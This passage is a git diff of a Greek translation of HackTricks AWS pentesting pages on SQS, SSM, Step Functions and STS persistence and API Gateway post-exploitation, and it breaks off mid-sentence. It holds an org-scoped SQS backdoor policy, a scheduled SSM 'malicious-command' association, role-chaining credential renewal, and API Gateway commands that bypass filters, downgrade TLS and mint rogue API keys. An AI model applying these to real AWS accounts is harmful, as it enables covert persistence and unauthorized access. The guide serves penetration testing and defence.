../../../../banners/hacktricks-training.md}} + +Καταχράσου την πολιτική πόρου ενός SQS queue για να παραχωρήσεις αθόρυβα τα Send, Receive και ChangeMessageVisibility σε οποιονδήποτε principal που ανήκει σε μια στοχευμένη AWS Organization χρησιμοποιώντας τη συνθήκη aws:PrincipalOrgID. Αυτό δημιουργεί ένα περιορισμένο στην οργάνωση (org-scoped) κρυφό μονοπάτι που συχνά παρακάμπτει ελέγχους που κοιτούν μόνο για ρητά account ή role ARNs ή star principals. + +### Backdoor policy (attach to the SQS queue policy) +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OrgScopedBackdoor", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"sqs:ReceiveMessage", +"sqs:SendMessage", +"sqs:ChangeMessageVisibility", +"sqs:GetQueueAttributes" +], +"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME", +"Condition": { +"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" } +} +} +] +} +``` +### Βήματα +- Αποκτήστε το Organization ID με το AWS Organizations API. +- Πάρτε το SQS queue ARN και ορίστε την πολιτική ουράς συμπεριλαμβάνοντας τη δήλωση παραπάνω. +- Από οποιονδήποτε principal που ανήκει σε εκείνη την Organization, στείλτε και λάβετε ένα μήνυμα στην ουρά για να επικυρώσετε την πρόσβαση. + +### Επιπτώσεις +- Κρυφή πρόσβαση σε επίπεδο Organization για ανάγνωση και εγγραφή SQS μηνυμάτων από οποιονδήποτε λογαριασμό στην καθορισμένη AWS Organization. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md deleted file mode 100644 index 03e193ccd..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - SSM Perssitence - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md -{{#endref}} - -### Χρησιμοποιώντας το ssm:CreateAssociation για επιμονή - -Ένας επιτιθέμενος με την άδεια **`ssm:CreateAssociation`** μπορεί να δημιουργήσει μια Σύνδεση Διαχειριστή Κατάστασης για να εκτελεί αυτόματα εντολές σε EC2 instances που διαχειρίζεται το SSM. Αυτές οι συνδέσεις μπορούν να ρυθμιστούν ώστε να εκτελούνται σε σταθερά διαστήματα, καθιστώντας τις κατάλληλες για επιμονή τύπου backdoor χωρίς διαδραστικές συνεδρίες. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> Αυτή η μέθοδος επιμονής λειτουργεί όσο η EC2 instance διαχειρίζεται από το Systems Manager, ο SSM agent είναι ενεργός και ο επιτιθέμενος έχει άδεια να δημιουργεί συσχετίσεις. Δεν απαιτεί διαδραστικές συνεδρίες ή ρητές άδειες ssm:SendCommand. **Σημαντικό:** Η παράμετρος `--schedule-expression` (π.χ., `rate(30 minutes)`) πρέπει να σέβεται το ελάχιστο διάστημα 30 λεπτών της AWS. Για άμεση ή μία φορά εκτέλεση, παραλείψτε εντελώς το `--schedule-expression` — η συσχέτιση θα εκτελείται μία φορά μετά τη δημιουργία. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md new file mode 100644 index 000000000..feb510851 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - SSM Perssitence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +{{#endref}} + +### Using ssm:CreateAssociation for persistence + +Ένας επιτιθέμενος με την άδεια **`ssm:CreateAssociation`** μπορεί να δημιουργήσει ένα State Manager Association για να εκτελεί αυτόματα εντολές σε EC2 instances που διαχειρίζεται το SSM. Αυτές οι associations μπορούν να ρυθμιστούν να εκτελούνται σε σταθερά διαστήματα, καθιστώντας τες κατάλληλες για backdoor-like persistence χωρίς interactive sessions. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Αυτή η μέθοδος persistence λειτουργεί εφόσον το EC2 instance διαχειρίζεται από Systems Manager, ο SSM agent εκτελείται, και ο attacker έχει άδεια να δημιουργεί associations. Δεν απαιτεί διαδραστικές συνεδρίες ή ρητές άδειες ssm:SendCommand. **Σημαντικό:** Η παράμετρος `--schedule-expression` (π.χ., `rate(30 minutes)`) πρέπει να σέβεται το ελάχιστο διάστημα των 30 λεπτών της AWS. Για άμεση ή εφάπαξ εκτέλεση, παραλείψτε εντελώς το `--schedule-expression` — η association θα εκτελεστεί μία φορά μετά τη δημιουργία. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md deleted file mode 100644 index 839fed19e..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - Διατήρηση Λειτουργιών Βημάτων - -{{#include ../../../banners/hacktricks-training.md}} - -## Λειτουργίες Βημάτων - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Πίσω πόρτα σε Λειτουργία Βημάτων - -Προσθέστε μια πίσω πόρτα σε μια λειτουργία βημάτων για να εκτελεί οποιοδήποτε κόλπο διατήρησης, έτσι ώστε κάθε φορά που εκτελείται να τρέχει τα κακόβουλα βήματά σας. - -### Πίσω πόρτα σε ψευδώνυμα - -Εάν ο λογαριασμός AWS χρησιμοποιεί ψευδώνυμα για να καλεί τις λειτουργίες βημάτων, θα ήταν δυνατό να τροποποιηθεί ένα ψευδώνυμο για να χρησιμοποιήσει μια νέα εκδοχή με πίσω πόρτα της λειτουργίας βημάτων. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md new file mode 100644 index 000000000..af3a18252 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - Step Functions Διατήρηση + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Step function Backdooring + +Backdoor ένα step function ώστε να εκτελεί οποιοδήποτε persistence trick, έτσι κάθε φορά που εκτελείται θα τρέχει τα κακόβουλα βήματά σας. + +### Backdooring aliases + +Αν ο AWS λογαριασμός χρησιμοποιεί aliases για να καλεί step functions, θα ήταν δυνατό να τροποποιήσετε ένα alias ώστε να χρησιμοποιεί μια νέα backdoored έκδοση του step function. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md index 52906ae1a..8ed86773c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md @@ -1,36 +1,36 @@ # AWS - STS Persistence -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS -Για περισσότερες πληροφορίες, επισκεφθείτε: +Για περισσότερες πληροφορίες δείτε: {{#ref}} -../aws-services/aws-sts-enum.md +../../aws-services/aws-sts-enum.md {{#endref}} ### Assume role token -Οι προσωρινοί τόκοι δεν μπορούν να καταγραφούν, επομένως η διατήρηση ενός ενεργού προσωρινού τόκου είναι ένας τρόπος για να διατηρηθεί η επιμονή. +Τα temporary tokens δεν μπορούν να εμφανιστούν σε λίστα, οπότε η διατήρηση ενός ενεργού temporary token είναι ένας τρόπος για να διατηρηθεί persistence.
aws sts get-session-token --duration-seconds 129600
 
-# Με MFA
+# With MFA
 aws sts get-session-token \
 --serial-number  \
 --token-code 
 
-# Το όνομα της συσκευής υλικού είναι συνήθως ο αριθμός από την πίσω πλευρά της συσκευής, όπως GAHT12345678
-# Το όνομα της συσκευής SMS είναι το ARN στο AWS, όπως arn:aws:iam::123456789012:sms-mfa/username
-# Το όνομα της εικονικής συσκευής είναι το ARN στο AWS, όπως arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 
### Role Chain Juggling -[**Η αλυσίδα ρόλων είναι μια αναγνωρισμένη δυνατότητα του AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), που συχνά χρησιμοποιείται για τη διατήρηση της κρυφής επιμονής. Περιλαμβάνει την ικανότητα να **αναλαμβάνετε έναν ρόλο που στη συνέχεια αναλαμβάνει έναν άλλο**, ενδεχομένως επιστρέφοντας στον αρχικό ρόλο με **κυκλικό τρόπο**. Κάθε φορά που αναλαμβάνεται ένας ρόλος, το πεδίο λήξης των διαπιστευτηρίων ανανεώνεται. Ως εκ τούτου, εάν δύο ρόλοι είναι ρυθμισμένοι να αναλαμβάνουν ο ένας τον άλλο, αυτή η ρύθμιση επιτρέπει την αιώνια ανανέωση των διαπιστευτηρίων. +[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), συχνά χρησιμοποιείται για τη διατήρηση stealth persistence. Περιλαμβάνει την ικανότητα να **assume a role which then assumes another**, με πιθανή επαναφορά στον αρχικό ρόλο με **κυκλικό τρόπο**. Κάθε φορά που ένας ρόλος αναλαμβάνεται, το πεδίο λήξης των credentials ανανεώνεται. Συνεπώς, αν δύο roles είναι ρυθμισμένοι ώστε να αναλαμβάνουν αμοιβαία ο ένας τον άλλον, αυτή η ρύθμιση επιτρέπει τη διαρκή ανανέωση των credentials. -Μπορείτε να χρησιμοποιήσετε αυτό το [**εργαλείο**](https://github.com/hotnops/AWSRoleJuggler/) για να διατηρήσετε την αλυσίδα ρόλων: +Μπορείτε να χρησιμοποιήσετε αυτό το [**tool**](https://github.com/hotnops/AWSRoleJuggler/) για να διατηρήσετε το role chaining: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] @@ -40,11 +40,11 @@ optional arguments: -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` > [!CAUTION] -> Σημειώστε ότι το [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) σενάριο από αυτό το αποθετήριο Github δεν βρίσκει όλους τους τρόπους με τους οποίους μπορεί να διαμορφωθεί μια αλυσίδα ρόλων. +> Σημειώστε ότι το script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) από εκείνο το Github repository δεν βρίσκει όλους τους τρόπους με τους οποίους μπορεί να διαμορφωθεί μια αλυσίδα ρόλων.
-Κώδικας για την εκτέλεση Role Juggling από το PowerShell +Κώδικας για την εκτέλεση Role Juggling από PowerShell ```bash # PowerShell script to check for role juggling possibilities using AWS CLI @@ -124,4 +124,4 @@ Write-Host "Role juggling check complete." ```
-{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md deleted file mode 100644 index c58fd7082..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ /dev/null @@ -1,132 +0,0 @@ -# AWS - API Gateway Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## API Gateway - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### Πρόσβαση σε μη εκτεθειμένα APIs - -Μπορείτε να δημιουργήσετε ένα endpoint στο [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) με την υπηρεσία `com.amazonaws.us-east-1.execute-api`, να εκθέσετε το endpoint σε ένα δίκτυο όπου έχετε πρόσβαση (πιθανώς μέσω μιας μηχανής EC2) και να αναθέσετε μια ομάδα ασφαλείας που επιτρέπει όλες τις συνδέσεις.\ -Στη συνέχεια, από τη μηχανή EC2 θα μπορείτε να αποκτήσετε πρόσβαση στο endpoint και επομένως να καλέσετε το gateway API που δεν είχε εκτεθεί προηγουμένως. - -### Παράκαμψη Request body passthrough - -Αυτή η τεχνική βρέθηκε σε [**αυτή την CTF αναφορά**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). - -Όπως αναφέρεται στην [**τεκμηρίωση AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) στην ενότητα `PassthroughBehavior`, από προεπιλογή, η τιμή **`WHEN_NO_MATCH`**, κατά τον έλεγχο της κεφαλίδας **Content-Type** του αιτήματος, θα περάσει το αίτημα στο back end χωρίς μετασχηματισμό. - -Επομένως, στην CTF, το API Gateway είχε ένα πρότυπο ολοκλήρωσης που **εμπόδιζε τη σημαία να εξαχθεί** σε μια απάντηση όταν αποστέλλεται ένα αίτημα με `Content-Type: application/json`: -```yaml -RequestTemplates: -application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' -``` -Ωστόσο, η αποστολή ενός αιτήματος με **`Content-type: text/json`** θα εμπόδιζε αυτό το φίλτρο. - -Τέλος, καθώς το API Gateway επέτρεπε μόνο `Get` και `Options`, ήταν δυνατό να σταλεί ένα αυθαίρετο ερώτημα dynamoDB χωρίς κανέναν περιορισμό στέλνοντας ένα POST αίτημα με το ερώτημα στο σώμα και χρησιμοποιώντας την κεφαλίδα `X-HTTP-Method-Override: GET`: -```bash -curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' -``` -### Usage Plans DoS - -Στην ενότητα **Enumeration** μπορείτε να δείτε πώς να **αποκτήσετε το σχέδιο χρήσης** των κλειδιών. Εάν έχετε το κλειδί και είναι **περιορισμένο** σε X χρήσεις **ανά μήνα**, μπορείτε **απλώς να το χρησιμοποιήσετε και να προκαλέσετε DoS**. - -Το **API Key** πρέπει απλώς να **συμπεριληφθεί** μέσα σε μια **HTTP header** που ονομάζεται **`x-api-key`**. - -### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` - -Ένας επιτιθέμενος με τις άδειες `apigateway:UpdateGatewayResponse` και `apigateway:CreateDeployment` μπορεί να **τροποποιήσει μια υπάρχουσα Gateway Response για να συμπεριλάβει προσαρμοσμένα headers ή πρότυπα απάντησης που διαρρέουν ευαίσθητες πληροφορίες ή εκτελούν κακόβουλα σενάρια**. -```bash -API_ID="your-api-id" -RESPONSE_TYPE="DEFAULT_4XX" - -# Update the Gateway Response -aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}" - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Πιθανές Επιπτώσεις**: Διαρροή ευαίσθητων πληροφοριών, εκτέλεση κακόβουλων σεναρίων ή μη εξουσιοδοτημένη πρόσβαση σε πόρους API. - -> [!NOTE] -> Χρειάζεται δοκιμή - -### `apigateway:UpdateStage`, `apigateway:CreateDeployment` - -Ένας επιτιθέμενος με τις άδειες `apigateway:UpdateStage` και `apigateway:CreateDeployment` μπορεί **να τροποποιήσει μια υπάρχουσα σκηνή API Gateway για να ανακατευθύνει την κίνηση σε μια διαφορετική σκηνή ή να αλλάξει τις ρυθμίσεις caching για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε αποθηκευμένα δεδομένα**. -```bash -API_ID="your-api-id" -STAGE_NAME="Prod" - -# Update the API Gateway stage -aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5" - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση σε αποθηκευμένα δεδομένα, διακοπή ή παρεμβολή στην κυκλοφορία του API. - -> [!NOTE] -> Χρειάζεται δοκιμή - -### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` - -Ένας επιτιθέμενος με τις άδειες `apigateway:PutMethodResponse` και `apigateway:CreateDeployment` μπορεί **να τροποποιήσει την απάντηση μεθόδου μιας υπάρχουσας μεθόδου API Gateway REST API για να συμπεριλάβει προσαρμοσμένες κεφαλίδες ή πρότυπα απάντησης που διαρρέουν ευαίσθητες πληροφορίες ή εκτελούν κακόβουλα σενάρια**. -```bash -API_ID="your-api-id" -RESOURCE_ID="your-resource-id" -HTTP_METHOD="GET" -STATUS_CODE="200" - -# Update the method response -aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true" - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Πιθανές Επιπτώσεις**: Διαρροή ευαίσθητων πληροφοριών, εκτέλεση κακόβουλων σεναρίων ή μη εξουσιοδοτημένη πρόσβαση σε πόρους API. - -> [!NOTE] -> Χρειάζεται δοκιμή - -### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` - -Ένας επιτιθέμενος με τις άδειες `apigateway:UpdateRestApi` και `apigateway:CreateDeployment` μπορεί **να τροποποιήσει τις ρυθμίσεις του API Gateway REST API για να απενεργοποιήσει την καταγραφή ή να αλλάξει την ελάχιστη έκδοση TLS, ενδεχομένως αποδυναμώνοντας την ασφάλεια του API**. -```bash -API_ID="your-api-id" - -# Update the REST API settings -aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER' - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Πιθανές Επιπτώσεις**: Αδυνάτισμα της ασφάλειας του API, επιτρέποντας ενδεχομένως μη εξουσιοδοτημένη πρόσβαση ή έκθεση ευαίσθητων πληροφοριών. - -> [!NOTE] -> Χρειάζεται δοκιμή - -### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` - -Ένας επιτιθέμενος με δικαιώματα `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, και `apigateway:CreateUsagePlanKey` μπορεί **να δημιουργήσει νέα API keys, να τα συσχετίσει με σχέδια χρήσης, και στη συνέχεια να χρησιμοποιήσει αυτά τα κλειδιά για μη εξουσιοδοτημένη πρόσβαση σε APIs**. -```bash -# Create a new API key -API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') - -# Create a new usage plan -USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id') - -# Associate the API key with the usage plan -aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY -``` -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση σε πόρους API, παράκαμψη ελέγχων ασφαλείας. - -> [!ΣΗΜΕΙΩΣΗ] -> Χρειάζεται δοκιμή - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md new file mode 100644 index 000000000..7341912e2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md @@ -0,0 +1,132 @@ +# AWS - API Gateway Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## API Gateway + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### Πρόσβαση σε μη εκτεθειμένα APIs + +You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ +Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before. + +### Bypass Request body passthrough + +This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). + +Όπως αναφέρεται στην [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) στην ενότητα `PassthroughBehavior`, από προεπιλογή η τιμή **`WHEN_NO_MATCH`**, κατά τον έλεγχο της κεφαλίδας **Content-Type** του αιτήματος, θα προωθήσει το αίτημα στο back end χωρίς μετασχηματισμό. + +Επομένως, στο CTF το API Gateway είχε ένα integration template που ήταν **εμποδίζοντας το flag από το να εξαχθεί** σε μια απάντηση όταν ένα αίτημα στάλθηκε με `Content-Type: application/json`: +```yaml +RequestTemplates: +application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' +``` +Ωστόσο, η αποστολή ενός αιτήματος με **`Content-type: text/json`** θα παρακάμπτει αυτό το φίλτρο. + +Τέλος, καθώς το API Gateway επέτρεπε μόνο `Get` και `Options`, ήταν δυνατό να σταλεί ένα αυθαίρετο dynamoDB query χωρίς κανέναν περιορισμό, στέλνοντας ένα `POST` αίτημα με το query στο σώμα και χρησιμοποιώντας την κεφαλίδα `X-HTTP-Method-Override: GET`: +```bash +curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' +``` +### Usage Plans DoS + +Στην ενότητα **Enumeration** μπορείτε να δείτε πώς να **obtain the usage plan** των κλειδιών. Αν έχετε το κλειδί και είναι **limited** σε X usages **per month**, μπορείτε απλώς να **just use it and cause a DoS**. + +Το **API Key** απλά χρειάζεται να **included** μέσα σε ένα **HTTP header** που ονομάζεται **`x-api-key`**. + +### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` + +Ένας επιτιθέμενος με τα δικαιώματα `apigateway:UpdateGatewayResponse` και `apigateway:CreateDeployment` μπορεί να **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**. +```bash +API_ID="your-api-id" +RESPONSE_TYPE="DEFAULT_4XX" + +# Update the Gateway Response +aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}" + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Πιθανός Αντίκτυπος**: Leakage of sensitive information, εκτέλεση κακόβουλων scripts, ή μη εξουσιοδοτημένη πρόσβαση σε API resources. + +> [!NOTE] +> Απαιτείται δοκιμή + +### `apigateway:UpdateStage`, `apigateway:CreateDeployment` + +Ένας επιτιθέμενος με τα δικαιώματα `apigateway:UpdateStage` και `apigateway:CreateDeployment` μπορεί να **τροποποιήσει ένα υπάρχον στάδιο του API Gateway για να ανακατευθύνει την κυκλοφορία σε διαφορετικό στάδιο ή να αλλάξει τις ρυθμίσεις κρυφής μνήμης ώστε να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε δεδομένα που είναι αποθηκευμένα στην κρυφή μνήμη**. +```bash +API_ID="your-api-id" +STAGE_NAME="Prod" + +# Update the API Gateway stage +aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5" + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Potential Impact**: Μη εξουσιοδοτημένη πρόσβαση σε προσωρινά αποθηκευμένα δεδομένα, διακοπή ή υποκλοπή της κίνησης API. + +> [!NOTE] +> Απαιτείται δοκιμή + +### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` + +Ένας επιτιθέμενος με τα δικαιώματα `apigateway:PutMethodResponse` και `apigateway:CreateDeployment` μπορεί να **τροποποιήσει το method response μιας υπάρχουσας μεθόδου API Gateway REST API ώστε να περιλάβει custom headers ή response templates που leak ευαίσθητες πληροφορίες ή εκτελούν κακόβουλα scripts**. +```bash +API_ID="your-api-id" +RESOURCE_ID="your-resource-id" +HTTP_METHOD="GET" +STATUS_CODE="200" + +# Update the method response +aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true" + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Πιθανός Αντίκτυπος**: Διαρροή ευαίσθητων πληροφοριών, εκτέλεση κακόβουλων scripts, ή μη εξουσιοδοτημένη πρόσβαση σε πόρους του API. + +> [!NOTE] +> Χρειάζεται δοκιμή + +### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` + +Ένας επιτιθέμενος με τα δικαιώματα `apigateway:UpdateRestApi` και `apigateway:CreateDeployment` μπορεί να **τροποποιήσει τις ρυθμίσεις του API Gateway REST API για να απενεργοποιήσει το logging ή να αλλάξει την ελάχιστη έκδοση TLS, ενδεχομένως αποδυναμώνοντας την ασφάλεια του API**. +```bash +API_ID="your-api-id" + +# Update the REST API settings +aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER' + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Πιθανός Αντίκτυπος**: Εξασθένηση της ασφάλειας του API, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση ή εκθέτοντας ευαίσθητες πληροφορίες. + +> [!NOTE] +> Απαιτείται δοκιμή + +### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` + +Ένας επιτιθέμενος με τα δικαιώματα `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, και `apigateway:CreateUsagePlanKey` μπορεί να **δημιουργήσει νέα API keys, να τα συσχετίσει με usage plans και στη συνέχεια να χρησιμοποιήσει αυτά τα κλειδιά για μη εξουσιοδοτημένη πρόσβαση σε APIs**. +```bash +# Create a new API key +API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') + +# Create a new usage plan +USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id') + +# Associate the API key with the usage plan +aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY +``` +**Πιθανός Αντίκτυπος**: Μη εξουσιοδοτημένη 